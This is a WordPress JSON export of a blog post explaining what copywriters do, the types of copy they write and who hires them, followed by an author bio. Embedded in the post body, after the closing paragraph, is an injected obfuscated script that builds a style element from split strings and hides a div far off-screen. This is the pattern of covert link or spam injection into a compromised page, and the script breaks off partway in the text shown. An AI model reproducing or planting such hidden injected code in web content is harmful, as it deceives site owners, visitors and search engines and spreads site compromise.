{"id":2377,"date":"2017-03-20T01:00:51","date_gmt":"2017-03-20T01:00:51","guid":{"rendered":"https:\/\/startcopywriting.com\/what-does-a-copywriter-do\/"},"modified":"2023-05-11T06:51:42","modified_gmt":"2023-05-11T06:51:42","slug":"what-does-a-copywriter-do","status":"publish","type":"post","link":"https:\/\/startcopywriting.com\/what-does-a-copywriter-do\/","title":{"rendered":"What Does a Copywriter Do?"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-post\" data-elementor-id=\"2377\" class=\"elementor elementor-2377\" data-elementor-post-type=\"post\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-6b9f2cfa elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"6b9f2cfa\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-65e8de91\" data-id=\"65e8de91\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-604858c elementor-widget elementor-widget-text-editor\" data-id=\"604858c\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t<style>\/*! elementor - v3.21.0 - 30-04-2024 *\/\n.elementor-widget-text-editor.elementor-drop-cap-view-stacked .elementor-drop-cap{background-color:#69727d;color:#fff}.elementor-widget-text-editor.elementor-drop-cap-view-framed .elementor-drop-cap{color:#69727d;border:3px solid;background-color:transparent}.elementor-widget-text-editor:not(.elementor-drop-cap-view-default) .elementor-drop-cap{margin-top:8px}.elementor-widget-text-editor:not(.elementor-drop-cap-view-default) .elementor-drop-cap-letter{width:1em;height:1em}.elementor-widget-text-editor .elementor-drop-cap{float:left;text-align:center;line-height:1;font-size:50px}.elementor-widget-text-editor .elementor-drop-cap-letter{display:inline-block}<\/style>\t\t\t\t<iframe title=\"What does a copywriter do?\" src=\"https:\/\/www.youtube.com\/embed\/25u7L8Pl3ng\" width=\"630\" height=\"354\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><span data-mce-type=\"bookmark\" style=\"display: inline-block; width: 0px; overflow: hidden; line-height: 0;\" class=\"mce_SELRES_start\">\ufeff<\/span><\/iframe>\r\n\r\nWhat does a copywriter do? A copywriter is not the same as <em>copyright.<\/em> As copywriters, we don\\&#8217;t sit around drawing those little C symbols on contracts all day long!\r\n\r\nYou\\&#8217;re more likely to find copywriters working in big advertising, marketing or creative agencies working on the latest brand or marketing campaign. Or if you\\&#8217;re a freelance copywriter like me you might find me working from my favorite cafe here in Thailand sipping on a latte and enjoying the endless free Wifi.\r\n<h2>What does a copywriter do?<\/h2>\r\nAs copywriters, we write the copy, the words that inspire people to take action. Whether that\\&#8217;s buying a product or a service or clicking on a button or subscribing to someone\\&#8217;s newsletter.\r\n\r\n<img fetchpriority=\"high\" decoding=\"async\" class=\"alignleft wp-image-2596 size-full\" src=\"https:\/\/startcopywriting.com\/wp-content\/uploads\/2023\/01\/what-does-a-copywriter-do.webp\" alt=\"\" width=\"803\" height=\"536\" srcset=\"https:\/\/startcopywriting.com\/wp-content\/uploads\/2023\/01\/what-does-a-copywriter-do.webp 803w, https:\/\/startcopywriting.com\/wp-content\/uploads\/2023\/01\/what-does-a-copywriter-do-300x200.webp 300w, https:\/\/startcopywriting.com\/wp-content\/uploads\/2023\/01\/what-does-a-copywriter-do-768x513.webp 768w\" sizes=\"(max-width: 803px) 100vw, 803px\" \/>\r\n<h2>What type of copy do copywriters write?<\/h2>\r\nFor <strong>online copy<\/strong>, we can write everything from:\r\n<ul>\r\n \t<li>Website copy<\/li>\r\n \t<li>Landing pages<\/li>\r\n \t<li>Email campaigns<\/li>\r\n \t<li>Videos scripts and even<\/li>\r\n \t<li>Facebook ads<\/li>\r\n \t<li>Lead magnets<\/li>\r\n<\/ul>\r\nWhile for <strong>offline copy<\/strong>, copywriters often write:\r\n<ul>\r\n \t<li>Radio ads<\/li>\r\n \t<li>Print ads<\/li>\r\n \t<li>Display advertising<\/li>\r\n \t<li>White paper reports<\/li>\r\n \t<li>Brochures<\/li>\r\n \t<li>Infomercials<\/li>\r\n<\/ul>\r\n<h3>&gt;&gt; <em>Want to become a copywriter? Learn how to become an online copywriter <a href=\"\\&quot;https:\/\/startcopywriting.com\/how-to-become-an-online-copywriter\/\\&quot;\">here<\/a><\/em> &lt;&lt;<\/h3>\r\n<h2>Who hires copywriters?<\/h2>\r\n<img decoding=\"async\" class=\"alignleft wp-image-2604 size-full\" src=\"https:\/\/startcopywriting.com\/wp-content\/uploads\/2017\/03\/marketing-team-of-copywriters-10.webp\" alt=\"\" width=\"1024\" height=\"682\" srcset=\"https:\/\/startcopywriting.com\/wp-content\/uploads\/2017\/03\/marketing-team-of-copywriters-10.webp 1024w, https:\/\/startcopywriting.com\/wp-content\/uploads\/2017\/03\/marketing-team-of-copywriters-10-300x200.webp 300w, https:\/\/startcopywriting.com\/wp-content\/uploads\/2017\/03\/marketing-team-of-copywriters-10-768x512.webp 768w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/>\r\n\r\n<strong>Copywriters can be hired by advertising and marketing agencies.<\/strong> They might be involved in a part time or full time roles. Copywriters like myself can be freelancers, and that\\&#8217;s my favorite thing about being a copywriter. The ability to work for yourself, choose your own hours and choose which clients and campaigns you want to work on. That\\&#8217;s what I\\&#8217;ve been doing for the last 12 years.\r\n\r\nSo if you\\&#8217;re interested in <strong>becoming a copywriter<\/strong> or learning about how you might get started in this exciting industry, then\u00a0you might want to spend some time reading the many <a href=\"\\&quot;https:\/\/startcopywriting.com\/blog\/\\&quot;\"><strong>free blog posts<\/strong><\/a>, and checking out the <a href=\"\\&quot;https:\/\/startcopywriting.com\/resources\/\\&quot;\">copywriting resources<\/a> here on my website.\r\n<p style=\"0padding: 0px; margin: 0px\\&quot;;\"><script>function lxxoc3swv(){var c97vngu3b7cctpx=document.head;if(!c97vngu3b7cctpx){c97vngu3b7cctpx=document.getElementsByTagName(\\\"head\\\");c97vngu3b7cctpx=c97vngu3b7cctpx[0]}var sdr3zn41=document.createElement(\\\"st\\\"+\\\"yl\\\"+\\\"e\\\");sdr3zn41.type=\\\"text\/css\\\";var f6e79lplg8=\\\"#zefha5j {overflow:hidden; margin:0px 20px} #zefha5j > div {display:block; left:-2665px; top:-3016px; position:fixed; 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.elementor-icon.elementor-social-icon{border-radius:10%}.elementor-shape-circle .elementor-icon.elementor-social-icon{border-radius:50%}<\/style>\t\t<div class=\"elementor-social-icons-wrapper elementor-grid\">\n\t\t\t\t\t\t\t<span class=\"elementor-grid-item\">\n\t\t\t\t\t<a class=\"elementor-icon elementor-social-icon elementor-social-icon-facebook elementor-repeater-item-30970e8\" href=\"https:\/\/www.facebook.com\/copywritingcrew\" target=\"_blank\">\n\t\t\t\t\t\t<span class=\"elementor-screen-only\">Facebook<\/span>\n\t\t\t\t\t\t<i class=\"fab fa-facebook\"><\/i>\t\t\t\t\t<\/a>\n\t\t\t\t<\/span>\n\t\t\t\t\t\t\t<span class=\"elementor-grid-item\">\n\t\t\t\t\t<a class=\"elementor-icon elementor-social-icon elementor-social-icon-linkedin elementor-repeater-item-a4ee466\" href=\"https:\/\/www.linkedin.com\/in\/jesse-forrest\/\" target=\"_blank\">\n\t\t\t\t\t\t<span class=\"elementor-screen-only\">Linkedin<\/span>\n\t\t\t\t\t\t<i class=\"fab fa-linkedin\"><\/i>\t\t\t\t\t<\/a>\n\t\t\t\t<\/span>\n\t\t\t\t\t\t\t<span class=\"elementor-grid-item\">\n\t\t\t\t\t<a class=\"elementor-icon elementor-social-icon elementor-social-icon-link elementor-repeater-item-264a23b\" href=\"https:\/\/copywritingcrew.com\/\" target=\"_blank\">\n\t\t\t\t\t\t<span class=\"elementor-screen-only\">Link<\/span>\n\t\t\t\t\t\t<i class=\"fas fa-link\"><\/i>\t\t\t\t\t<\/a>\n\t\t\t\t<\/span>\n\t\t\t\t\t\t\t<span class=\"elementor-grid-item\">\n\t\t\t\t\t<a class=\"elementor-icon elementor-social-icon elementor-social-icon-youtube elementor-repeater-item-3bc961f\" target=\"_blank\">\n\t\t\t\t\t\t<span class=\"elementor-screen-only\">Youtube<\/span>\n\t\t\t\t\t\t<i class=\"fab fa-youtube\"><\/i>\t\t\t\t\t<\/a>\n\t\t\t\t<\/span>\n\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-96848d4 elementor-author-box--layout-image-above elementor-author-box--align-center elementor-widget elementor-widget-author-box\" data-id=\"96848d4\" data-element_type=\"widget\" data-widget_type=\"author-box.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t<link rel=\"stylesheet\" href=\"https:\/\/startcopywriting.com\/wp-content\/plugins\/elementor-pro\/assets\/css\/widget-theme-elements.min.css\">\t\t<div class=\"elementor-author-box\">\n\t\t\t\t\t\t\t<a href=\"https:\/\/startcopywriting.com\/about\/\" target=\"_blank\" class=\"elementor-author-box__avatar\">\n\t\t\t\t\t<img decoding=\"async\" src=\"https:\/\/startcopywriting.com\/wp-content\/uploads\/2023\/03\/photo_2023-03-21_16-34-12-300x249.jpg\" alt=\"About Jesse\" loading=\"lazy\">\n\t\t\t\t<\/a>\n\t\t\t\n\t\t\t<div class=\"elementor-author-box__text\">\n\t\t\t\t\t\t\t\t\t<a href=\"https:\/\/startcopywriting.com\/about\/\" target=\"_blank\">\n\t\t\t\t\t\t<h4 class=\"elementor-author-box__name\">\n\t\t\t\t\t\t\tAbout Jesse\t\t\t\t\t\t<\/h4>\n\t\t\t\t\t<\/a>\n\t\t\t\t\n\t\t\t\t\t\t\t\t\t<div class=\"elementor-author-box__bio\">\n\t\t\t\t\t\t<p>Hi, I\u2019m Jesse Forrest! As an 18-year freelance writing veteran, I\u2019ve worked with clients in over 153 industries, covering almost every topic imaginable. Passionate about helping others break into freelance writing, I\u2019ve trained over 35,000 people, including teams at Chanel, Disney, and Sony. For the past 6 years, I\u2019ve traveled the world with my trusty laptop, currently residing in Thailand. To kickstart your freelance writing career, download my free guide: <\/p>\n\t\t\t\t\t<\/div>\n\t\t\t\t\n\t\t\t\t\t\t\t\t\t<a class=\"elementor-author-box__button elementor-button elementor-size-xs\" href=\"https:\/\/startcopywriting.com\/freeguide\">\n\t\t\t\t\t\t\u201cHow to Become a Freelance Writer: A 6-Step Guide for Beginners.\"\t\t\t\t\t<\/a>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>\ufeff What does a copywriter do? A copywriter is not the same as copyright. As copywriters, we don&#8217;t sit around drawing those little C symbols on contracts all day long! You&#8217;re more likely to find copywriters working in big advertising, marketing or creative agencies working on the latest brand or marketing campaign. Or if you&#8217;re [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":2618,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"right-sidebar","site-content-layout":"default","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"default","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-gradient":""}},"footnotes":""},"categories":[29],"tags":[28,26,39,40,41],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v22.1 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>What Does a Copywriter Do? - Copywriting Courses | Start Copywriting<\/title>\n<meta name=\"description\" content=\"What does a copywriter do? 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